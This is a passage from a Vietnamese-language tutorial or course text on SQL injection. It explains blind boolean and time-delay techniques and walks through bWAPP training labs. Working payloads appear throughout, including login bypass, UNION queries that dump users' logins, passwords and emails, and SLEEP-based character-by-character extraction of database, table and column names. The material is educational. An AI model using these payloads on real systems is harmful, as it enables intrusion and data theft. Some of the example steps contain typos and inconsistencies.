77, ta có kết quả:
15613 and ascii(substring(select first_name from user_data where
userid=15614,1,1))<77
Như vậy ký tự đầu tiên nằm trong khoảng 65 tới 76. Tiếp tục thử các tham số khác
theo tiêu chí tìm kiếm nhị phân:
15613 and ascii(substring(select first_name from user_data where
userid=15613,1,1))<71
 Invalid, nằm trong khoảng 71 tới 76
18
15613 and ascii(substring(select first_name from user_data where
userid=15613,1,1))<75
 Invalid, nằm trong khoảng 71 tới 74
15613 and ascii(substring(select first_name from user_data where
userid=15613,1,1))<73
 Invalid, nằm trong khoảng 73 tới 74
15613 and ascii(substring(select first_name from user_data where
userid=15613,1,1))<74
 Invalid
Kết quả cuối cùng suy ra ký tự đó có mã ASCII là 74, đó là chữ J

Tiếp tục mô hình tương tư với các ký tự khác:


- Ký tự thứ 2
15613 101 and ascii(substring(select first_name from
user_data where userid=15613,2,1))<91 => Invalid
15613 101 and ascii(substring(select first_name from
user_data where userid=15613,2,1))<109 => Invalid
15613 101 and ascii(substring(select first_name from
user_data where userid=15613,2,1))<115 => valid
15613 101 and ascii(substring(select first_name from
user_data where userid=15613,2,1))<112 => valid
15613 101 and ascii(substring(select first_name from
user_data where userid=15613,2,1))<111 => Invalid

Kết luận: ký tự thứ 2 có mã ASCII là 111, đó là chữ o


Tương tự, tiến hành tìm các ký tự tiếp theo:
- Ký tự thứ 3 tìm được là chữ e
- Ký tự thứ 4 tìm được là s
- Ký tự thứ 5 tìm được là p
- Ký tự thứ 6 tìm được h
- Ký tự thứ 7 không thoả mãn các khoảng đề cập, do ta đã truy cập ra ngoài
phạm vi xâu thật sự, do đó ký tự thứ 6 là ký tự cuối cùng.
Kết luận, first_name cần tìm là Joesph.
Một điều rút ra trong ví dụ này đó là trước khi thực hiện thử các kết quản, nên thực
hiện trước việc đó rồi thử độ dài của kết quả để có thể dễ dàng biết cần dùng bao
nhiêu truy vấn.

1.4.3. Tấn công Blind SQL Injection dựa trên độ trễ truy vấn
Tấn công Blind SQL Injection dựa vào thời gian phản hồi là cách tiến hành
khai thác các lỗi Blind SQL Injection mạnh nhất. Trong nhiều trường hợp tuy truy
vấn có chứa điểm yếu, nhưng kết quả của truy vấn “sạch” với truy vấn “độc hại”
không có sự khác biệt đáng kể, do đó rất khó để sử dụng response-based Blind
SQL Injection. Bản chất của phương thức tấn công này là thay vì sử dụng nội dung
kết quả truy vấn để phân biệt trường hợp đúng/sai của mệnh đề suy luận được chèn
thì nó sử dụng sự chênh lệch về thời gian phản hồi của ứng dụng để phân biệt.
19
Có hai phương pháp để sinh độ trễ trong truy vấn:
- Gọi các hàm trì hoãn thực thi được các DBMS hỗ trợ
- Sử dụng các truy vấn lớn
 Gọi các hàm có khả năng trì hoãn thực thi được các DBMS hỗ trợ
Trên các DBMS thường có một số hàm có thể lợi dụng để sinh độ trễ về thời
gian thực thi truy vấn. Ví dụ:
- Trong MySQL ta có BENCHMARK(N, expression) hoặc ở phiên bản 5.0.12
trở đi có thêm SLEEP(seconds)
- Trong SQL Server có WAITFOR DELAY ‘hh:mm:ss’
- Trong Oracle có DBMS_LOCK.SLEEP(seconds)
Trong MySQL ta sử dụng các cấu trúc điều kiện sau ứng với trường hợp
tham số kiểu xâu ký tự hoặc số:
- Trường hợp tham số có kiểu xâu ký tự ta có thể dùng cấu trúc sau:

Union select if(expression, true_exp, false_exp)

+ Trong đó expression là mệnh đề suy luận


+ True_exp: câu lệnh/giá trị ứng với trường hợp mệnh đề suy luận giá trị
true.
+ False_exp: câu lệnh/giá trị ứng với trường hợp mệnh đề suy luận nhận giá
trị false.
- Trường hợp tham số kiểu số ta có thể sử dụng cấu trúc sau:

If(expression, true_exp, false_exp)

+ Trong đó expression là mệnh đề suy luận, được xây dựng tuỳ theo chiến
lược suy luận
+ True_exp, false_exp là câu lệnh/giá trị ứng với trường hợp giá trị
true/false của mệnh đề suy luận
 Sử dụng các truy vấn lớn
Các truy vấn lớn ở đây được hiểu là các truy vấn trên những tập dữ liệu rất
lớn, ví dụ dữ liệu metadata của database. Khi thực hiện những truy vấn này bộ tối
ưu phải làm việc nhiều, và truy vấn sẽ bị trì hoãn một cách rất “tự nhiên”.
Ví dụ trong database information_schema của MySQL hiện tại của ta có số
bản ghi trong bảng columns là 441, thực hiện nối chéo (tích Cartesian) tập số
lượng kết quả đã tăng lên rất lớn:

20
Hình 1.3 Truy vấn trên information_schema

Do đó, ta có thể sử dụng các truy vấn tới database này sao cho tập kết quả
được tham chiếu đủ lớn để sinh độ trễ. Xét request ban đầu, chưa chèn tham số,
thời gian phản hồi truy vấn trong khoảng 3 giây.

Hình 1.4 Truy vấn ban đầu

Thực hiện chèn một mệnh đề suy luận vào tham số, trong mệnh đề suy luận
này, ta sử dụng một truy vấn lớn để làm dấu hiệu phân biệt trường hợp mệnh đề
suy luận đúng/sai:

Id = 993 and (char_length(user()) > 4) and 10<(select count(*)


from information_schema.columns)

Mệnh đề suy luận chính là char_length(user()) >4, truy vấn lớn là truy vấn
thứ 3, đếm số bản ghi trong bảng columns. Việc suy luận diễn ra như sau:
 Cách thức hoạt động của engine tối ưu hoá truy vấn luôn đảm bảo giảm
thiểu các truy vấn đòi hỏi chi phí cao

21
 Trong trường hợp truy vấn này, bộ lập lịch sẽ thực thi mệnh đề suy luận
trước. Bởi giá trị true/false của nó sẽ quyết định tới việc có phải thực thi truy vấn
lớn phía sau hay không
 Nếu mệnh đề suy luận trả về false, truy vấn lớn sẽ bị bỏ qua, bởi ít nhất 1
toán hạng trong toán tử and nhận giá trị false đủ khiến kết quả trở thành false
 Nếu mệnh đề suy luận true, truy vấn lớn được thực thi và ta sẽ quan sát
thấy độ trễ được sinh ra.
1.4.4. Lợi dụng điểm yếu Blind SQL Injection để khai thác thông tin trong thực tế
Các điểm yếu Blind SQL Injection đòi hỏi nhiều truy vấn và thời gian để có
thể trả về kết quả, bởi các mệnh đề suy luận chỉ có thể cho phép ta dò ra được từng
byte trong dữ liệu ở database nạn nhân. Chính vì thế việc triển khai tấn công thông
qua mô hình này trong thực tế luôn dựa vào các công cụ hỗ trợ. Trong số các công
cụ này, có công cụ mạnh và miễn phí như SQL map
(http://sqlmap.sourceforge.net) viết trên Python, Absinthe
(www.0x90.org/releases/absinthe/) tiền thân là SQLSqueal-tool sớm nhất triển
khai Blind SQL Injection, ngoài ra còn có SQLninja
(http://sqlninja.sourceforge.net/) viết trên Perl, …

1.5. Bộ bài hướng dẫn các tấn công SQL Injection


1.5.1. SQL Injection (Login Form/Hero)
Bước 1: Chọn bài tập tấn công
Tại “Choose your bug” ta tiến hành chọn SQL Injection (Login Form/Hero)
với mức độ bảo mật thấp (low)

Hình 1.5 Chọn bài tập tấn công SQL Injection (Login Form/Hero)

Sau đó, chọn “Hack” ta sẽ được chuyển tới giao diện của dạng tấn công này

22
Hình 1.6 Giao diện bài tập tấn công SQL Injection (Login Form/Hero)

Bài tập trên yêu cầu đăng nhập tài khoản, vì vậy ta sẽ tiến hành xác định lỗ
hổng trong việc kiểm tra thông tin người dùng và vượt qua kiểm tra đăng nhập để
có thể đăng nhập trái phép.
Bước 2: Xác định lỗ hổng trong việc kiểm tra thông tin đầu vào (xem mục
3.1.1)
Nhập chuỗi sau vào cả 2 trường nhập liệu Login/ Password:
admin’OR’1’=’1.

Hình 1.7 Chèn câu lệnh truy vấn vào form đăng nhập

Câu truy vấn này hợp lệ và đoạn mã tiếp theo xử lý giúp ta đăng nhập hợp lệ
với tên Neo.

23
Hình 1.8 Vượt qua kiểm tra đăng nhập thành công

1.5.2. SQL Injection (GET/Search)


Bước 1: Chọn bài tập tấn công
Tại “Choose your bug” ta tiến hành chọn SQL Injection (GET/Search) với
mức độ bảo mật thấp (low)

Hình 1.9 Chọn bài tập tấn công SQL Injection (GET/Search)

Sau đó, chọn “Hack” ta sẽ được chuyển tới giao diện của dạng tấn công này

Hình 1.10 Giao diện bài tập tấn công SQL Injection (GET/Search)

Bài tập trên cho phép nhập vào tên phim để xem thông tin tương ứng của
chúng, vì vậy ta sẽ tiến hành thăm dò lỗi rồi khai thác lỗ hổng SQL Injection để lấy
được thông tin người dùng trong CSDL.
24
Bước 2: Xác định các điểm nhận nhập vào từ người dùng (xem mục 3.1.2-a)
Tại đây có một ô nhập vào tên phim, ta tiến hành nhập tên hay một chữ cái
bất kỳ để thăm dò; VD: Tay Du Ky, aaa, … => chọn “Search”.
Sau khi chọn Search ta thấy url có dạng:

http://localhost/bWAPP/sqli_1.php?title=Tay+Du+Ky&action=search

Vậy ta xác định thông điệp request là GET bởi chuỗi truy vấn (query string)
được hiển thị ngay trên trình duyệt. Tham số trong trường hợp này là “title”, giá trị
là “Tay+Du+Ky”.
Sau khi thêm dấu nháy đơn ‘ vào cuối giá trị của “title” => Gửi:
http://localhost/bWAPP/sqli_1.php?title=Tay+Du+Ky&action=search

Server trả về dòng thông báo tương tự tức là ứng dụng này bị lỗi SQL
Injection và ta có thể tiến hành khai thác dữ liệu thông qua toán tử UNION.

Hình 1.11 Lỗi trả về trong tấn công SQL Injection (GET/Search)

Bước 3: Tìm số cột và kiểu dữ liệu của cột bằng cách dùng mệnh đề
ORDER BY (xem mục 3.2.2)

Chú ý ta dùng -- - sau cùng đường link là để loại bỏ những phần sau câu truy
vấn
Cuối cùng ta thu được lỗi trả về như sau:

25
Suy ra bảng có 7 cột từ 1 đến 7.
Bước 4: Tìm cột có khả năng chứa thông tin khai thác được (xem mục
3.2.3), ta thu được kết quả:

Như vậy cột số 2, 3, 4, 5 có thể sử dụng để mang thông tin khai thác được và
sau khi thay giá trị 2 bằng version(), giá trị 3 bằng database(), giá trị 4 bằng user()
ta lần lượt tìm ra phiên bản SQL, tên CSDL, tên user hiện tại ứng dụng đang sử
dụng là:

Bước 5: Xác định tên của các bảng (xem mục 3.2.4), ta thu được tên các
bảng như sau: blog, heroes, movies, users, visitors

Bước 6: Xác định tên các cột trong bảng (xem mục 3.2.5), ta thu được kết
quả:

Tại bảng users ta lấy được các cột “id, login, password, email, secret,
activation_code, activated, reset_code, admin, USER,
CURRENT_CONNECTIONS, TOTAL_CONNECTIONS”
Bước 7: Thu thập dữ liệu quan trọng (xem mục 3.2.6), ta có được các cột
quan trọng trong bảng users như: id, login, password, email và thay vào
group_concat(login,0x3a,password,0x3a,email) và cuối xâu truy vấn sửa thành
from users-- và thu được kết quả:

26
Hình 1.12 Kết quả thu được trong tấn công SQL Injection (GET/Search)

1.5.3. SQL Injection (POST/Search)


Bước 1: Chọn bài tập tấn công
Tại “Choose your bug” ta tiến hành chọn SQL Injection (POST/Search) với
mức độ bảo mật thấp (low)

Hình 1.13 Chọn bài tập tấn công SQL Injection (POST/Search)

Sau đó, chọn “Hack” ta sẽ được chuyển tới giao diện của dạng tấn công này

27
Hình 1.14 Giao diện bài tập tấn công SQL Injection (POST/Search)

Bài tập trên cho phép nhập vào tên phim để xem thông tin tương ứng của
chúng, vì vậy ta sẽ tiến hành thăm dò lỗi rồi khai thác lỗ hổng SQL Injection để lấy
được thông tin người dùng trong CSDL.
Bước 2: Xác định các điểm nhận nhập vào từ người dùng (xem mục 3.1.2-a)
Tại đây có một ô nhập vào tên phim, ta tiến hành nhập tên hay một chữ cái
bất kỳ để thăm dò; VD: Tay Du Ky, aaa, … => chọn “Search”.
Ta xác định request là POST bởi chuỗi truy vấn (query string) được ẩn trên
trình duyệt.

Hình 1.15 Request POST trong tấn công SQL Injection (POST/Search)

Bước 3: Sử dụng công cụ Burp Suite (xem mục 2.2.1), Proxy Switcher (xem
mục 2.2.4), HackBar (xem mục 2.2.2) để hỗ trợ trong tấn công.
- Proxy Switcher: chọn Manual, tại Profile chọn một Profile thích hợp, tại
Http Proxy nhập vào địa chỉ IP cần , Port 8080.
- Burp Suite:
+ Mở Burp Suite => I Accept => Next => Start Burp

28
+ Tại giao diện Start Burp trên thanh công cụ chọn Proxy => Options xuất
hiện bảng chọn như sau:

Hình 1.16 Bảng Proxy/Option trong công cụ Burp Suite

Tiếp tục, tại khung chọn “Proxy Listeners” chọn “Add” và xuất hiện bảng
“Add a new proxy listener”

Hình 1.17 Bảng “Add a new proxy listener” trong Burp Suite

29
Tại “Bind to port” điền cổng 8080, “Bind to address” nhập địa chỉ IP cần
lắng nghe => OK
Như vậy, với mỗi lần request của người dùng đều đã được Burp Suite lắng
nghe và kiểm soát.
Chọn Intercept => Action => Send to Repeater để gửi tới Repeater đọc
request
Intercept => Forward để cho phép gói tin đi qua.

Hình 1.18 Bảng Proxy/Intercept trong Burp Suite

Chọn Repeater để xem toàn bộ thông điệp request được ghi lại:

Hình 1.19 Bảng Repeater trong Burp Suite

30
Trong chuỗi truy vấn “title=Irron+man&action=search” tham số “title”, giá
trị là “Inron+man”.
- Hackbar: tại đây tích chọn “Enable Post data” sẽ hiển thị bảng “Post data”
giúp người dùng thuận tiện cho việc tiêm mã (inject), tại Repeater sao chép chuỗi
truy vấn “title=Inron+man&action=search” dán lại vào “Post data” tại HackBar
như hình sau:

Hình 1.20 Dán chuỗi truy vấn vào Post data trong Hackbar

Bước 4: Xác định điểm nhận nhập vào từ người dùng (xem mục 3.1.2-a)
Bước 5: Tìm số cột và kiểu dữ liệu của cột bằng cách dùng mệnh đề
ORDER BY (xem mục 3.2.2)
Bước 6: Tìm cột có khả năng chứa thông tin khai thác được (xem mục 3.2.3)
Bước 7: Xác định tên các cột trong bảng (xem mục 3.2.5)
Bước 8: Thu thập dữ liệu quan trọng (xem mục 3.2.6)
1.5.4. SQL Injection – Blind – Boolean Based
Bước 1: Chọn bài tập tấn công
Tại “Choose your bug” ta tiến hành chọn SQL Injection – Blind – Boolean
Based với mức độ bảo mật thấp (low)

Hình 1.21 Chọn tấn công SQL Injection – Blind – Boolean Based

Sau đó, chọn “Hack” ta sẽ được chuyển tới giao diện của dạng tấn công này

31
Hình 1.22 Giao diện tấn công SQL Injection – Blind – Boolean Based

Bài tập trên nhập vào tên phim và kiểm tra xem phim này có tồn tại trong
CSDL hay không bằng cách lắng nghe thông báo, vì vậy ta sẽ tiến hành thăm dò
lỗi rồi khai thác lỗ hổng SQL Injection để lấy được thông tin người dùng trong
CSDL.
Bước 2: Xác định các điểm nhận nhập vào từ người dùng (xem mục 3.1.2-a)
Tuy nhiên ta không thể khai thác được gì từ lỗi server trả về, vì vậy ta sử
dụng dạng tấn công Blind SQL Injection (xem mục 3.4.1).
Bước 3: Xác định mô hình tấn công Blind SQL Injection (xem mục 3.3.2 và
3.4.1)
Nhập vào lần đầu với chuỗi: TAYDUKY’ OR 1=1# => Server trả về “The
movie exits in our database” => True
Nhập vào lần đầu với chuỗi: TAYDUKY’ OR 1=2# => Server trả về “The
movie does not exits in our database” => False

Hình 1.23 Kết quả TRUE trong SQL Injection – Blind – Boolean Based

Hình 1.24 Kết quả FALSE trong SQL Injection- Blind – Boolean Based

Dựa vào điều này ta xác định có thể khai thác tấn công Blind SQL Injection
dựa trên dựa trên nội dung phản hồi .
Ta có một khung nhập tên phim, nếu nhập sai, thông báo trả về “The movie
does not exits in our database”, ngược lại đúng sẽ là “The movie does
not exits in our database”. Khía cạnh “blind” của trường hợp này là ở chỗ,
ta chỉ có thể thấy được duy nhất hai trạng thái trả về, và không thể có một nội
dung, thông tin nào khác lộ ra trong thông điệp phản hồi.
32
Bước 4: Xác định độ dài tên CSDL
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự
Nhập vào chuỗi: TAYDUKY’ or length (database())=1# => Server trả
về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or length (database())=2# => Server trả
về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or length (database())=3# => Server trả
về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or length (database())=4# => Server trả
về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or length (database())=5# => Server trả
về “The movie exits in our database” => True
=> Vậy ta kết luận tên cơ sở dữ liệu có 5 ký tự.
Bước 5: Xác định tên của CSDL (database_name)
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị
cần dò là a-z, A-Z, 0-9.
Nhập vào chuỗi: TAYDUKY’ or substring(database(),1,1)=’a’# =>
Server trả về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or substring(database(),1,1)=’b’# =>
Server trả về “The movie exits in our database” => True
=> Vậy xác định chữ cái đầu tiên là “b”
Sau đó tăng vị trí 1 lên 2 để lấy suy luận ký tự thứ hai:
Nhập vào chuỗi: TAYDUKY’ or substring(database(),2,1)=’a’# =>
Server trả về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or substring(database(),2,1)=’b’# =>
Server trả về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or substring(database(),2,1)=’c’# =>
Server trả về “The movie does not exits in our database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ hai là “w”
Tăng vị trí 2 lên 3 để lấy suy luận ký tự thứ ba:
Nhập vào chuỗi: TAYDUKY’ or substring(database(),3,1)=’a’# =>
Server trả về “The movie exits in our database” => True
=> Vậy xác định chữ cái thứ ba là “a”
Tăng vị trí 3 lên 4 để lấy suy luận ký tự thứ tư:
Nhập vào chuỗi: TAYDUKY’ or substring(database(),4,1)=’a’# =>
Server trả về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or substring(database(),4,1)=’b’# =>
Server trả về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or substring(database(),4,1)=’c’# =>
Server trả về “The movie does not exits in our database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ tư là “p”
Tăng vị trí 4 lên 5 để lấy suy luận ký tự thứ năm:
Nhập vào chuỗi: TAYDUKY’ or substring(database(),5,1)=’a’# =>
Server trả về “The movie does not exits in our database” => False
33
Nhập vào chuỗi: TAYDUKY’ or substring(database(),5,1)=’b’# =>
Server trả về “The movie does not exits in our database” => False
Nhập vào chuỗi: TAYDUKY’ or substring(database(),5,1)=’c’# =>
Server trả về “The movie does not exits in our database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ năm là “p”
=> Vậy ta xác định được tên của CSDL là “bwapp”
Bước 6: Xác định tên các bảng trong CSDL (table_name)
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị
cần dò là a-z, A-Z, 0-9. Với table_schema là tên database và limit 0,1 ta suy
luận các ký tự của bảng thứ nhất.
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),1,1)=’a’# => Server trả về “The movie does not exits in our
database” => False
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),1,1)=’b’# => Server trả về “The movie exits in our database” =>
True
=> Vậy xác định được chữ cái đầu tiên của bảng thứ nhất là ký tự “b”
Tăng vị trí 1 lên 2 để lấy suy luận ký tự thứ hai:
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),2,1)=’a’# => Server trả về “The movie does not exits in our
database” => False
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),2,1)=’b’# => Server trả về “The movie does not exits in our
database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ hai là “l”
Tăng vị trí 2 lên 3 để lấy suy luận ký tự thứ ba:
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),3,1)=’a’# => Server trả về “The movie does not exits in our
database” => False
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),3,1)=’b’# => Server trả về “The movie does not exits in our
database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ ba là “o”
Tăng vị trí 3 lên 4 để lấy suy luận ký tự thứ tư:
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),4,1)=’a’# => Server trả về “The movie does not exits in our
database” => False

34
Nhập vào chuỗi: TAYDUKY’ or substring((select table_name from
information_schema.tables where table_schema=’bwapp’ limit
0,1),4,1)=’b’# => Server trả về “The movie does not exits in our
database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ tư là “g”
=> Vậy ta xác định được tên của bảng thứ nhất là “blog”
Tương tự thao tác trên, ta suy luận được các bảng: “blog, heroes, users,
movies, visiters”
Bước 7: Xác định tên các cột trong bảng (column_name)
Nhận thấy bảng users có khả năng chứa thông tin quan trọng, ta tập trung
thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị cần dò là
a-z, A-Z. Với table_name là tên bảng bạn muốn suy luận và limit 0,1 ta suy
luận các ký tự của cột thứ nhất.
Nhập vào chuỗi: TAYDUKY’ or substring((select column_name from
information_schema.columns where table_name=’users’ limit
0,1),1,1)=’a’# => Server trả về “The movie does not exits in our
database” => False
Nhập vào chuỗi: TAYDUKY’ or substring((select column_name from
information_schema.columns where table_name=’users’ limit
0,1),1,1)=’b’# => Server trả về “The movie does not exits in our
database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái đầu tiên là “i”
Tăng vị trí 1 lên 2 để lấy suy luận ký tự thứ hai:
Nhập vào chuỗi: TAYDUKY’ or substring((select column_name from
information_schema.columns where table_name=’users’ limit
0,1),2,1)=’a’# => Server trả về “The movie does not exits in our
database” => False
Nhập vào chuỗi: TAYDUKY’ or substring((select column_name from
information_schema.columns where table_name=’users’ limit
0,1),2,1)=’b’# => Server trả về “The movie does not exits in our
database” => False
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ hai là “d”
=> Vậy ta xác định được tên cột thứ nhất của bảng users là “id”
Tương tự thao tác trên, ta suy luận được các cột của users: “id, login, email,
password”
Bước 8: Thu thập dữ liệu quan trọng (Dump column)
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị
cần dò là a-z, A-Z, 0-9. Với limit 0,1 ta suy luận các ký tự dữ liệu của cột thứ
nhất.
Nhập vào chuỗi: TAYDUKY’ or substring((select id from users
limit 0,1),1,1)=’1’# => Server trả về “The movie exits in our
database” => True
Nhập vào chuỗi: TAYDUKY’ or substring((select id from users
limit 0,1),2,1)=’2’# => Server trả về “The movie exits in our
database” => True

35
Nhập vào chuỗi: TAYDUKY’ or substring((select id from users
limit 0,1),3,1)=’3’# => Server trả về “The movie does not exits in
our database” => False
=> Vậy ta xác định được tại cột id có các id là 1 và 2.
Tương tự thao tác trên, ta suy luận được dữ liệu tại cột id, password của
bảng users:
Id: 1, password: 688585486f31043e5839c735d99457f045afd0
Id: 2, password: 688585486f31043e5839c735d99457f045afd0
Tương tự thao tác trên, ta có thể suy luận được dữ liệu các cột của bảng còn
lại của bảng.
1.5.5. SQL Injection – Blind – Time Based
Bước 1: Chọn bài tập tấn công
Tại “Choose your bug” ta tiến hành chọn SQL Injection – Blind – Time
Based với mức độ bảo mật thấp (low)

Hình 1.25 Chọn tấn công SQL Injection – Blind – Time Based

Sau đó, chọn “Hack” ta sẽ được chuyển tới giao diện của dạng tấn công này

Hình 1.26 Giao diện tấn công SQL Injection – Blind – Time Based

Bài tập trên nhập vào tên phim và kiểm tra xem phim này có tồn tại trong
CSDL hay không bằng cách lắng nghe phản hồi qua email, vì vậy ta sẽ tiến hành
thăm dò lỗi rồi khai thác lỗ hổng SQL Injection để lấy được thông tin người dùng
trong CSDL
Bước 2: Xác định các điểm nhận nhập vào từ người dùng (xem mục 3.1.2-a)
Tuy nhiên ta không thể khai thác được gì từ lỗi server trả về, vì vậy ta sử
dụng dạng tấn công Blind SQL Injection (xem mục 3.4.1).
Bước 3: Xác định mô hình tấn công Blind SQL Injection (xem mục 3.3.3 và
3.4.3)

36
Nhập vào với chuỗi: IRON MAN’ AND 1=1 AND SLEEP(5)# => Web ở
trạng thái tải 5 giây mới trả về, dựa vào điều này ta xác định có thể khai thác tấn
công Blind SQL Injection dựa trên dựa trên đỗ trễ truy vấn.
Bản chất của phương thức tấn công này là thay vì sử dụng nội dung kết quả
truy vấn để phân biệt trường hợp đúng/sai của mệnh đề suy luận được chèn thì nó
sử dụng sự chênh lệch về thời gian phản hồi của ứng dụng để phân biệt.

Hình 1.27 Trạng thái trả về bị trễ trong Blind – Time Based

Bước 4: Xác định độ dài tên CSDL


Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự
Nhập vào chuỗi:
Iron man’ or if(length(database())=1,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(length(database())=2,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(length(database())=3,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(length(database())=4,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(length(database())=5,SLEEP(5),null)#
=> Web trả về sau 5 giây
=> Vậy ta kết luận tên cơ sở dữ liệu có 5 ký tự.
Bước 5: Xác định tên của CSDL (database_name)

37
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị
cần dò là a-z, A-Z, 0-9.
Nhập vào chuỗi:
Iron man’ or if(substring(database(),1,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring(database(),1,1)=’b’,SLEEP(5),null)#
=> Web trả về sau 5 giây
Vậy ta xác định chữ cái đầu tiên là “b”
Sau đó tăng vị trí 1 lên 2 để lấy suy luận ký tự thứ hai:
Nhập vào chuỗi:
Iron man’ or if(substring(database(),2,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring(database(),2,1)=’b’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ hai là “w”
Sau đó tăng vị trí 2 lên 3 để lấy suy luận ký tự thứ ba:
Nhập vào chuỗi:
Iron man’ or if(substring(database(),3,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring(database(),3,1)=’b’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ ba là “a”
Sau đó tăng vị trí 3 lên 4 để lấy suy luận ký tự thứ tư:
Nhập vào chuỗi:
Iron man’ or if(substring(database(),4,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring(database(),4,1)=’b’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ tư là “p”
Sau đó tăng vị trí 4 lên 5 để lấy suy luận ký tự thứ năm:
Nhập vào chuỗi:
Iron man’ or if(substring(database(),5,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring(database(),5,1)=’b’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ năm là “p”
=> Vậy ta xác định được tên của CSDL là “bwapp”
Bước 6: Xác định tên các bảng trong CSDL (table_name)
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị
cần dò là a-z, A-Z, 0-9. Với table_schema là tên database và limit 0,1 ta suy
luận các ký tự của bảng thứ nhất.
Nhập vào chuỗi:
38
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),1,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),1,1)=’b’,SLEEP(5),null)#
=> Web trả về sau 5 giây
Vậy ta xác định chữ cái đầu tiên là “b”
Sau đó tăng vị trí 1 lên 2 để lấy suy luận ký tự thứ hai
Nhập vào chuỗi:
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),2,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),2,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ hai là “l”
Sau đó tăng vị trí 2 lên 3 để lấy suy luận ký tự thứ ba
Nhập vào chuỗi:
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),3,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),3,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ ba là “o”
Sau đó tăng vị trí 3 lên 4 để lấy suy luận ký tự thứ tư
Nhập vào chuỗi:
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),4,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring((select table_name from
information_schema.tables where table_schema=’bwapp’
limit0,1),4,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái thứ hai là “g”
=> Vậy ta xác định được tên của bảng thứ nhất là “blog”
Tương tự thao tác trên, ta suy luận được các bảng: “blog, heroes, users,
movies, visiters”

39
Bước 7: Xác định tên các cột trong bảng (column_name)
